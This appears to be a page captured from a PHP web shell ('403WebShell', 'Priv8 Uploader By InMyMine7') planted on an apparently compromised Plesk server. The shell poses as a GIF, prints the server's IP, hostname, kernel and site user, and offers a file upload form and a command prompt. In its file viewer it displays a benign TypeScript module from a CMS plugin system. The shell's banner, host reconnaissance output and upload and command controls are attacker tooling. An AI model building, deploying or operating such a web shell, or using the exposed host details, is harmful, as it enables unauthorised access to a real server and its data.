GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.249
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/plugins/context.ts
/**
 * Plugin Context v2
 *
 * Creates the unified context object provided to plugins in all hooks and routes.
 *
 */

import type { Kysely } from "kysely";
import { ulid } from "ulidx";

import { ContentRepository } from "../database/repositories/content.js";
import { MediaRepository } from "../database/repositories/media.js";
import { OptionsRepository } from "../database/repositories/options.js";
import { PluginStorageRepository } from "../database/repositories/plugin-storage.js";
import { SeoRepository } from "../database/repositories/seo.js";
import { UserRepository } from "../database/repositories/user.js";
import { withTransaction } from "../database/transaction.js";
import type { Database } from "../database/types.js";
import {
	resolveAndValidateExternalUrl,
	SsrfError,
	stripCredentialHeaders,
} from "../import/ssrf.js";
import { invalidateSiteSettingsCache } from "../settings/index.js";
import type { Storage } from "../storage/types.js";
import { CronAccessImpl } from "./cron.js";
import type { EmailPipeline } from "./email.js";
import type {
	ResolvedPlugin,
	PluginContext,
	PluginStorageConfig,
	StorageCollection,
	KVAccess,
	CronAccess,
	EmailAccess,
	ContentAccess,
	ContentAccessWithWrite,
	MediaAccess,
	MediaAccessWithWrite,
	HttpAccess,
	LogAccess,
	SiteInfo,
	UserAccess,
	UserInfo,
	ContentItem,
	ContentItemSeoInput,
	ContentWriteInput,
	MediaItem,
	PaginatedResult,
	QueryOptions,
	ContentListOptions,
	MediaListOptions,
} from "./types.js";

// =============================================================================
// KV Access
// =============================================================================

/**
 * Create KV accessor for a plugin
 * All keys are automatically prefixed with the plugin ID
 */
export function createKVAccess(optionsRepo: OptionsRepository, pluginId: string): KVAccess {
	const prefix = `plugin:${pluginId}:`;

	return {
		async get<T>(key: string): Promise<T | null> {
			return optionsRepo.get<T>(`${prefix}${key}`);
		},

		async set(key: string, value: unknown): Promise<void> {
			await optionsRepo.set(`${prefix}${key}`, value);
		},

		async delete(key: string): Promise<boolean> {
			return optionsRepo.delete(`${prefix}${key}`);
		},

		async list(keyPrefix?: string): Promise<Array<{ key: string; value: unknown }>> {
			const fullPrefix = `${prefix}${keyPrefix ?? ""}`;
			const entriesMap = await optionsRepo.getByPrefix(fullPrefix);
			const result: Array<{ key: string; value: unknown }> = [];
			for (const [fullKey, value] of entriesMap) {
				result.push({
					key: fullKey.slice(prefix.length),
					value,
				});
			}
			return result;
		},
	};
}

// =============================================================================
// Storage Access
// =============================================================================

/**
 * Create storage collection accessor for a plugin
 * Wraps PluginStorageRepository with the v2 interface (no async iterators)
 */
function createStorageCollection<T>(
	db: Kysely<Database>,
	pluginId: string,
	collectionName: string,
	indexes: Array<string | string[]>,
): StorageCollection<T> {
	const repo = new PluginStorageRepository<T>(db, pluginId, collectionName, indexes);

	return {
		get: (id) => repo.get(id),
		put: (id, data) => repo.put(id, data),
		delete: (id) => repo.delete(id),
		exists: (id) => repo.exists(id),
		getMany: (ids) => repo.getMany(ids),
		putMany: (items) => repo.putMany(items),
		deleteMany: (ids) => repo.deleteMany(ids),
		count: (where) => repo.count(where),

		// Query returns PaginatedResult instead of the old format
		async query(options?: QueryOptions): Promise<PaginatedResult<{ id: string; data: T }>> {
			const result = await repo.query({
				where: options?.where,
				orderBy: options?.orderBy,
				limit: options?.limit,
				cursor: options?.cursor,
			});

			return {
				items: result.items,
				cursor: result.cursor,
				hasMore: result.hasMore,
			};
		},
	};
}

/**
 * Create storage accessor with all declared collections
 */
export function createStorageAccess<T extends PluginStorageConfig>(
	db: Kysely<Database>,
	pluginId: string,
	storageConfig: T,
): Record<string, StorageCollection> {
	const storage: Record<string, StorageCollection> = {};

	for (const [collectionName, config] of Object.entries(storageConfig)) {
		const allIndexes = [...config.indexes, ...(config.uniqueIndexes ?? [])];
		storage[collectionName] = createStorageCollection(db, pluginId, collectionName, allIndexes);
	}

	return storage;
}

// =============================================================================
// Content Access
// =============================================================================

/**
 * Extract `seo` from a plugin-supplied content write input and return both
 * parts. Mutates nothing — returns a new field map without the `seo` key.
 */
function splitSeoFromInput(input: ContentWriteInput): {
	fields: Record<string, unknown>;
	seo: ContentItemSeoInput | undefined;
} {
	const { seo, ...fields } = input;
	// Reject non-object seo values rather than silently dropping them.
	if (seo !== undefined && (seo === null || typeof seo !== "object" || Array.isArray(seo))) {
		throw new Error("content.seo must be an object");
	}
	return { fields, seo };
}

/**
 * Reject writing SEO to a collection that does not have it enabled.
 * Matches the REST API behavior (VALIDATION_ERROR).
 */
async function assertSeoEnabled(
	seoRepo: SeoRepository,
	collection: string,
	seo: ContentItemSeoInput | undefined,
): Promise<boolean> {
	const hasSeo = await seoRepo.isEnabled(collection);
	if (seo !== undefined && !hasSeo) {
		throw new Error(
			`Collection "${collection}" does not have SEO enabled. ` +
				`Remove the seo field or enable SEO on this collection.`,
		);
	}
	return hasSeo;
}

/**
 * Create read-only content access
 */
export function createContentAccess(db: Kysely<Database>): ContentAccess {
	const contentRepo = new ContentRepository(db);
	const seoRepo = new SeoRepository(db);

	return {
		async get(collection: string, id: string): Promise<ContentItem | null> {
			const item = await contentRepo.findById(collection, id);
			if (!item) return null;

			const result: ContentItem = {
				id: item.id,
				type: item.type,
				slug: item.slug,
				status: item.status,
				data: item.data,
				createdAt: item.createdAt,
				updatedAt: item.updatedAt,
				locale: item.locale,
				publishedAt: item.publishedAt,
			};

			if (await seoRepo.isEnabled(collection)) {
				result.seo = await seoRepo.get(collection, item.id);
			}

			return result;
		},

		async list(
			collection: string,
			options?: ContentListOptions,
		): Promise<PaginatedResult<ContentItem>> {
			// Convert orderBy format if provided
			let orderBy: { field: string; direction: "asc" | "desc" } | undefined;
			if (options?.orderBy) {
				const entries = Object.entries(options.orderBy);
				const first = entries[0];
				if (first) {
					orderBy = { field: first[0], direction: first[1] };
				}
			}

			const result = await contentRepo.findMany(collection, {
				limit: options?.limit ?? 50,
				cursor: options?.cursor,
				orderBy,
				where: options?.where,
			});

			const items: ContentItem[] = result.items.map((item) => ({
				id: item.id,
				type: item.type,
				slug: item.slug,
				status: item.status,
				data: item.data,
				createdAt: item.createdAt,
				updatedAt: item.updatedAt,
				locale: item.locale,
				publishedAt: item.publishedAt,
			}));

			if (items.length > 0 && (await seoRepo.isEnabled(collection))) {
				const seoMap = await seoRepo.getMany(
					collection,
					items.map((i) => i.id),
				);
				for (const item of items) {
					const seo = seoMap.get(item.id);
					if (seo) item.seo = seo;
				}
			}

			return {
				items,
				cursor: result.nextCursor,
				hasMore: !!result.nextCursor,
			};
		},
	};
}

/**
 * Create full content access with write operations.
 *
 * `create` and `update` accept a reserved `seo` key in their `data`
 * argument. When present, it is routed to the core SEO panel
 * (`_emdash_seo`) via `SeoRepository.upsert`, in the same transaction as
 * the content write. The returned `ContentItem.seo` reflects the resulting
 * SEO state for SEO-enabled collections.
 */
export function createContentAccessWithWrite(db: Kysely<Database>): ContentAccessWithWrite {
	const readAccess = createContentAccess(db);

	return {
		...readAccess,

		async create(collection: string, data: ContentWriteInput): Promise<ContentItem> {
			const { fields, seo } = splitSeoFromInput(data);

			return withTransaction(db, async (trx) => {
				const trxContentRepo = new ContentRepository(trx);
				const trxSeoRepo = new SeoRepository(trx);

				const hasSeo = await assertSeoEnabled(trxSeoRepo, collection, seo);

				const item = await trxContentRepo.create({
					type: collection,
					data: fields,
				});

				const result: ContentItem = {
					id: item.id,
					type: item.type,
					slug: item.slug,
					status: item.status,
					data: item.data,
					createdAt: item.createdAt,
					updatedAt: item.updatedAt,
					locale: item.locale,
					publishedAt: item.publishedAt,
				};

				if (hasSeo) {
					result.seo =
						seo !== undefined
							? await trxSeoRepo.upsert(collection, item.id, seo)
							: await trxSeoRepo.get(collection, item.id);
				}

				return result;
			});
		},

		async update(collection: string, id: string, data: ContentWriteInput): Promise<ContentItem> {
			const { fields, seo } = splitSeoFromInput(data);

			return withTransaction(db, async (trx) => {
				const trxContentRepo = new ContentRepository(trx);
				const trxSeoRepo = new SeoRepository(trx);

				const hasSeo = await assertSeoEnabled(trxSeoRepo, collection, seo);

				// Pass the `data` payload to ContentRepository.update only when
				// there are field updates — passing an empty object would still
				// bump updated_at/version, but we want a seo-only call to touch
				// only the SEO table. ContentRepository.update handles the no-op
				// path by returning the current row.
				const hasFieldUpdates = Object.keys(fields).length > 0;
				const item = hasFieldUpdates
					? await trxContentRepo.update(collection, id, { data: fields })
					: await (async () => {
							const existing = await trxContentRepo.findById(collection, id);
							if (!existing) throw new Error("Content not found");
							return existing;
						})();

				const result: ContentItem = {
					id: item.id,
					type: item.type,
					slug: item.slug,
					status: item.status,
					data: item.data,
					createdAt: item.createdAt,
					updatedAt: item.updatedAt,
					locale: item.locale,
					publishedAt: item.publishedAt,
				};

				if (hasSeo) {
					result.seo =
						seo !== undefined
							? await trxSeoRepo.upsert(collection, item.id, seo)
							: await trxSeoRepo.get(collection, item.id);
				}

				return result;
			});
		},

		async delete(collection: string, id: string): Promise<boolean> {
			const contentRepo = new ContentRepository(db);
			return contentRepo.delete(collection, id);
		},
	};
}

// =============================================================================
// Media Access
// =============================================================================

/**
 * Create read-only media access
 */
export function createMediaAccess(db: Kysely<Database>): MediaAccess {
	const mediaRepo = new MediaRepository(db);

	return {
		async get(id: string): Promise<MediaItem | null> {
			const item = await mediaRepo.findById(id);
			if (!item) return null;

			return {
				id: item.id,
				filename: item.filename,
				mimeType: item.mimeType,
				size: item.size,
				// Construct URL from storage key (or use a sensible default path)
				url: `/media/${item.id}/${item.filename}`,
				createdAt: item.createdAt,
			};
		},

		async list(options?: MediaListOptions): Promise<PaginatedResult<MediaItem>> {
			const result = await mediaRepo.findMany({
				limit: options?.limit ?? 50,
				cursor: options?.cursor,
				mimeType: options?.mimeType,
			});

			return {
				items: result.items.map((item) => ({
					id: item.id,
					filename: item.filename,
					mimeType: item.mimeType,
					size: item.size,
					url: `/media/${item.id}/${item.filename}`,
					createdAt: item.createdAt,
				})),
				cursor: result.nextCursor,
				hasMore: !!result.nextCursor,
			};
		},
	};
}

/**
 * Create full media access with write operations.
 * If storage is not provided, upload() will throw at call time.
 */
export function createMediaAccessWithWrite(
	db: Kysely<Database>,
	getUploadUrlFn: (
		filename: string,
		contentType: string,
	) => Promise<{ uploadUrl: string; mediaId: string }>,
	storage?: Storage,
): MediaAccessWithWrite {
	const mediaRepo = new MediaRepository(db);
	const readAccess = createMediaAccess(db);

	return {
		...readAccess,

		getUploadUrl: getUploadUrlFn,

		async upload(
			filename: string,
			contentType: string,
			bytes: ArrayBuffer,
		): Promise<{ mediaId: string; storageKey: string; url: string }> {
			if (!storage) {
				throw new Error(
					"Media upload() requires a storage backend. Configure storage in PluginContextFactoryOptions.",
				);
			}

			// Generate a storage key with a unique prefix
			const keyPrefix = ulid();
			// Extract extension from basename (ignore path separators)
			const basename = filename.split("/").pop() ?? filename;
			const dotIdx = basename.lastIndexOf(".");
			const ext = dotIdx > 0 ? basename.slice(dotIdx).toLowerCase() : "";
			const storageKey = `${keyPrefix}${ext}`;

			// Upload to storage first
			await storage.upload({
				key: storageKey,
				body: new Uint8Array(bytes),
				contentType,
			});

			// Create DB record — clean up storage on failure
			let media;
			try {
				media = await mediaRepo.create({
					filename: basename,
					mimeType: contentType,
					size: bytes.byteLength,
					storageKey,
					status: "ready",
				});
			} catch (error) {
				try {
					await storage.delete(storageKey);
				} catch {
					// Best-effort cleanup
				}
				throw error;
			}

			return {
				mediaId: media.id,
				storageKey,
				url: `/_emdash/api/media/file/${storageKey}`,
			};
		},

		async delete(id: string): Promise<boolean> {
			const deleted = await mediaRepo.delete(id);
			// Plugins can delete media that's referenced by site settings
			// (`logo`, `favicon`, `seo.defaultOgImage`); the worker-scoped
			// resolved-URL cache must be dropped or it will keep serving
			// 404s. Matches the invalidation in
			// `EmDashRuntime.handleMediaDelete`.
			if (deleted) {
				invalidateSiteSettingsCache();
			}
			return deleted;
		},
	};
}

// =============================================================================
// HTTP Access
// =============================================================================

/** Maximum number of redirects to follow in plugin HTTP access */
const MAX_PLUGIN_REDIRECTS = 5;

/**
 * Check if a hostname matches any pattern in the allowed list.
 * Patterns: "*" matches all, "*.example.com" matches subdomains AND bare "example.com",
 * "api.example.com" matches exactly.
 */
function isHostAllowed(host: string, allowedHosts: string[]): boolean {
	return allowedHosts.some((pattern) => {
		if (pattern === "*") return true;
		if (pattern.startsWith("*.")) {
			const suffix = pattern.slice(1); // ".example.com"
			// Match subdomains (foo.example.com) and bare domain (example.com)
			return host.endsWith(suffix) || host === pattern.slice(2);
		}
		return host === pattern;
	});
}

/**
 * Create HTTP access with host validation.
 *
 * Uses redirect: "manual" to re-validate each redirect target against
 * the allowedHosts list, preventing redirects to unauthorized hosts.
 */
export function createHttpAccess(pluginId: string, allowedHosts: string[]): HttpAccess {
	return {
		async fetch(url: string, init?: RequestInit): Promise<Response> {
			// Deny by default — plugins must declare allowed hosts
			if (allowedHosts.length === 0) {
				throw new Error(
					`Plugin "${pluginId}" has no allowed hosts configured. ` +
						`Add hosts to the plugin's allowedHosts array to enable HTTP requests.`,
				);
			}

			let currentUrl = url;
			let currentInit = init;

			for (let i = 0; i <= MAX_PLUGIN_REDIRECTS; i++) {
				const hostname = new URL(currentUrl).hostname;
				if (!isHostAllowed(hostname, allowedHosts)) {
					throw new Error(
						`Plugin "${pluginId}" is not allowed to fetch from host "${hostname}". ` +
							`Allowed hosts: ${allowedHosts.join(", ")}`,
					);
				}

				const response = await globalThis.fetch(currentUrl, {
					...currentInit,
					redirect: "manual",
				});

				// Not a redirect -- return directly
				if (response.status < 300 || response.status >= 400) {
					return response;
				}

				// Extract redirect target
				const location = response.headers.get("Location");
				if (!location) {
					return response;
				}

				// Resolve relative redirects; strip credentials on cross-origin hops
				const previousOrigin = new URL(currentUrl).origin;
				currentUrl = new URL(location, currentUrl).href;
				const nextOrigin = new URL(currentUrl).origin;

				if (previousOrigin !== nextOrigin && currentInit) {
					currentInit = stripCredentialHeaders(currentInit);
				}
			}

			throw new Error(`Plugin "${pluginId}": too many redirects (max ${MAX_PLUGIN_REDIRECTS})`);
		},
	};
}

/**
 * Create unrestricted HTTP access (for plugins with network:fetch:any capability).
 * No host validation, but applies SSRF protection on redirect targets to
 * prevent plugins from being tricked into reaching internal services.
 */
export function createUnrestrictedHttpAccess(pluginId: string): HttpAccess {
	return {
		async fetch(url: string, init?: RequestInit): Promise<Response> {
			let currentUrl = url;
			let currentInit = init;

			for (let i = 0; i <= MAX_PLUGIN_REDIRECTS; i++) {
				// Validate each URL against SSRF rules (private IPs, metadata
				// endpoints, wildcard DNS, resolved-IP private ranges).
				try {
					await resolveAndValidateExternalUrl(currentUrl);
				} catch (e) {
					const msg = e instanceof SsrfError ? e.message : "SSRF validation failed";
					throw new Error(
						`Plugin "${pluginId}": blocked fetch to "${new URL(currentUrl).hostname}": ${msg}`,
						{ cause: e },
					);
				}

				const response = await globalThis.fetch(currentUrl, {
					...currentInit,
					redirect: "manual",
				});

				// Not a redirect -- return directly
				if (response.status < 300 || response.status >= 400) {
					return response;
				}

				// Extract redirect target
				const location = response.headers.get("Location");
				if (!location) {
					return response;
				}

				// Resolve relative redirects; strip credentials on cross-origin hops
				const previousOrigin = new URL(currentUrl).origin;
				currentUrl = new URL(location, currentUrl).href;
				const nextOrigin = new URL(currentUrl).origin;

				if (previousOrigin !== nextOrigin && currentInit) {
					currentInit = stripCredentialHeaders(currentInit);
				}
			}

			throw new Error(`Plugin "${pluginId}": too many redirects (max ${MAX_PLUGIN_REDIRECTS})`);
		},
	};
}

/**
 * Create blocked HTTP access (for plugins without network:request capability)
 */
export function createBlockedHttpAccess(pluginId: string): HttpAccess {
	return {
		async fetch(): Promise<never> {
			throw new Error(
				`Plugin "${pluginId}" does not have the "network:request" capability. ` +
					`Add "network:request" to the plugin's capabilities to enable HTTP requests.`,
			);
		},
	};
}

// =============================================================================
// Log Access
// =============================================================================

/**
 * Create logger for a plugin
 */
export function createLogAccess(pluginId: string): LogAccess {
	const prefix = `[plugin:${pluginId}]`;

	return {
		debug(message: string, data?: unknown): void {
			if (data !== undefined) {
				console.debug(prefix, message, data);
			} else {
				console.debug(prefix, message);
			}
		},

		info(message: string, data?: unknown): void {
			if (data !== undefined) {
				console.info(prefix, message, data);
			} else {
				console.info(prefix, message);
			}
		},

		warn(message: string, data?: unknown): void {
			if (data !== undefined) {
				console.warn(prefix, message, data);
			} else {
				console.warn(prefix, message);
			}
		},

		error(message: string, data?: unknown): void {
			if (data !== undefined) {
				console.error(prefix, message, data);
			} else {
				console.error(prefix, message);
			}
		},
	};
}

// =============================================================================
// Site Info
// =============================================================================

const TRAILING_SLASH_RE = /\/$/;

/**
 * Options for creating site info
 */
export interface SiteInfoOptions {
	/** Site name from options table */
	siteName?: string;
	/** Site URL from options table or Astro config */
	siteUrl?: string;
	/** Site locale from options table */
	locale?: string;
}

/**
 * Create site info from config and settings.
 *
 * Resolution order for URL:
 * 1. options table (emdash:site_url)
 * 2. Astro `site` config
 * 3. fallback to empty string
 */
export function createSiteInfo(options: SiteInfoOptions): SiteInfo {
	return {
		name: options.siteName ?? "",
		url: (options.siteUrl ?? "").replace(TRAILING_SLASH_RE, ""), // strip trailing slash
		locale: options.locale ?? "en",
	};
}

/**
 * Create a URL helper that generates absolute URLs from relative paths.
 * Validates that path starts with "/" and rejects protocol-relative paths ("//").
 */
export function createUrlHelper(siteUrl: string): (path: string) => string {
	const base = siteUrl.replace(TRAILING_SLASH_RE, ""); // strip trailing slash

	return (path: string): string => {
		if (!path.startsWith("/")) {
			throw new Error(`URL path must start with "/", got: "${path}"`);
		}
		if (path.startsWith("//")) {
			throw new Error(`URL path must not be protocol-relative, got: "${path}"`);
		}
		return `${base}${path}`;
	};
}

// =============================================================================
// User Access
// =============================================================================

/**
 * Convert a UserRepository user to the plugin-facing UserInfo shape.
 * Strips sensitive fields (avatarUrl, emailVerified, data).
 */
function toUserInfo(user: {
	id: string;
	email: string;
	name: string | null;
	role: number;
	createdAt: string;
}): UserInfo {
	return {
		id: user.id,
		email: user.email,
		name: user.name,
		role: user.role,
		createdAt: user.createdAt,
	};
}

/**
 * Create read-only user access for plugins.
 * Excludes sensitive fields (password hashes, sessions, passkeys, avatar URL, data).
 */
export function createUserAccess(db: Kysely<Database>): UserAccess {
	const userRepo = new UserRepository(db);

	return {
		async get(id: string): Promise<UserInfo | null> {
			const user = await userRepo.findById(id);
			if (!user) return null;
			return toUserInfo(user);
		},

		async getByEmail(email: string): Promise<UserInfo | null> {
			const user = await userRepo.findByEmail(email);
			if (!user) return null;
			return toUserInfo(user);
		},

		async list(opts?: {
			role?: number;
			limit?: number;
			cursor?: string;
		}): Promise<{ items: UserInfo[]; nextCursor?: string }> {
			const result = await userRepo.findMany({
				role: opts?.role as 10 | 20 | 30 | 40 | 50 | undefined,
				cursor: opts?.cursor,
				limit: opts?.limit,
			});

			return {
				items: result.items.map(toUserInfo),
				nextCursor: result.nextCursor,
			};
		},
	};
}

// =============================================================================
// Plugin Context Factory
// =============================================================================

export interface PluginContextFactoryOptions {
	db: Kysely<Database>;
	/**
	 * Storage backend for direct media uploads.
	 * If not provided, upload() will throw.
	 */
	storage?: Storage;
	/**
	 * Function to generate upload URLs for media.
	 * If not provided, media write operations will throw.
	 */
	getUploadUrl?: (
		filename: string,
		contentType: string,
	) => Promise<{ uploadUrl: string; mediaId: string }>;
	/**
	 * Site information for ctx.site and ctx.url().
	 * If not provided, site info will have empty defaults.
	 */
	siteInfo?: SiteInfoOptions;
	/**
	 * Callback to notify the cron scheduler that the next due time may have changed.
	 * If not provided, ctx.cron will not be available.
	 */
	cronReschedule?: () => void;
	/**
	 * Email pipeline instance for ctx.email.
	 * If not provided (or no provider configured), ctx.email will be undefined.
	 */
	emailPipeline?: EmailPipeline;
	/**
	 * Pre-resolved list of trusted proxy header names (from the runtime
	 * `EmDashConfig.trustedProxyHeaders` or the env var). Plugin route
	 * handlers pass this to `extractRequestMeta` so plugins see the same
	 * client IP the core auth path does.
	 */
	trustedProxyHeaders?: string[];
}

/**
 * Factory for creating plugin contexts
 */
export class PluginContextFactory {
	private optionsRepo: OptionsRepository;
	private db: Kysely<Database>;
	private storage?: Storage;
	private getUploadUrl?: (
		filename: string,
		contentType: string,
	) => Promise<{ uploadUrl: string; mediaId: string }>;
	private site: SiteInfo;
	private urlHelper: (path: string) => string;
	private cronReschedule?: () => void;
	private emailPipeline?: EmailPipeline;

	constructor(options: PluginContextFactoryOptions) {
		this.db = options.db;
		this.optionsRepo = new OptionsRepository(options.db);
		this.storage = options.storage;
		this.getUploadUrl = options.getUploadUrl;
		this.site = createSiteInfo(options.siteInfo ?? {});
		this.urlHelper = createUrlHelper(this.site.url);
		this.cronReschedule = options.cronReschedule;
		this.emailPipeline = options.emailPipeline;
	}

	/**
	 * Create the unified plugin context
	 */
	createContext(plugin: ResolvedPlugin): PluginContext {
		const capabilities = new Set(plugin.capabilities);

		// Always available
		const kv = createKVAccess(this.optionsRepo, plugin.id);
		const log = createLogAccess(plugin.id);
		const storage = createStorageAccess(this.db, plugin.id, plugin.storage);

		// Capability-gated: content
		// Note: capabilities reach this point already normalized to the
		// canonical names by definePlugin / adaptSandboxEntry. Deprecated
		// names ("read:content", "write:content") never appear here.
		let content: ContentAccess | ContentAccessWithWrite | undefined;
		if (capabilities.has("content:write")) {
			content = createContentAccessWithWrite(this.db);
		} else if (capabilities.has("content:read")) {
			content = createContentAccess(this.db);
		}

		// Capability-gated: media
		let media: MediaAccess | MediaAccessWithWrite | undefined;
		if (capabilities.has("media:write") && this.getUploadUrl) {
			media = createMediaAccessWithWrite(this.db, this.getUploadUrl, this.storage);
		} else if (capabilities.has("media:read")) {
			media = createMediaAccess(this.db);
		}

		// Capability-gated: http
		let http: HttpAccess | undefined;
		if (capabilities.has("network:request:unrestricted")) {
			http = createUnrestrictedHttpAccess(plugin.id);
		} else if (capabilities.has("network:request")) {
			http = createHttpAccess(plugin.id, plugin.allowedHosts);
		}

		// Capability-gated: users
		let users: UserAccess | undefined;
		if (capabilities.has("users:read")) {
			users = createUserAccess(this.db);
		}

		// Cron access ��� always available (scoped to plugin), but only if
		// the runtime provided a reschedule callback (i.e. cron is wired up).
		let cron: CronAccess | undefined;
		if (this.cronReschedule) {
			cron = new CronAccessImpl(this.db, plugin.id, this.cronReschedule);
		}

		// Email access — requires email:send capability AND a configured provider
		let email: EmailAccess | undefined;
		if (capabilities.has("email:send") && this.emailPipeline?.isAvailable()) {
			const pipeline = this.emailPipeline;
			const pluginId = plugin.id;
			email = {
				send: (message) => pipeline.send(message, pluginId),
			};
		}

		return {
			plugin: {
				id: plugin.id,
				version: plugin.version,
			},
			storage,
			kv,
			content,
			media,
			http,
			log,
			site: this.site,
			url: this.urlHelper,
			users,
			cron,
			email,
		};
	}
}

/**
 * Create a plugin context for a resolved plugin
 */
export function createPluginContext(
	options: PluginContextFactoryOptions,
	plugin: ResolvedPlugin,
): PluginContext {
	const factory = new PluginContextFactory(options);
	return factory.createContext(plugin);
}

Youez - 2016 - github.com/yon3zu
LinuXploit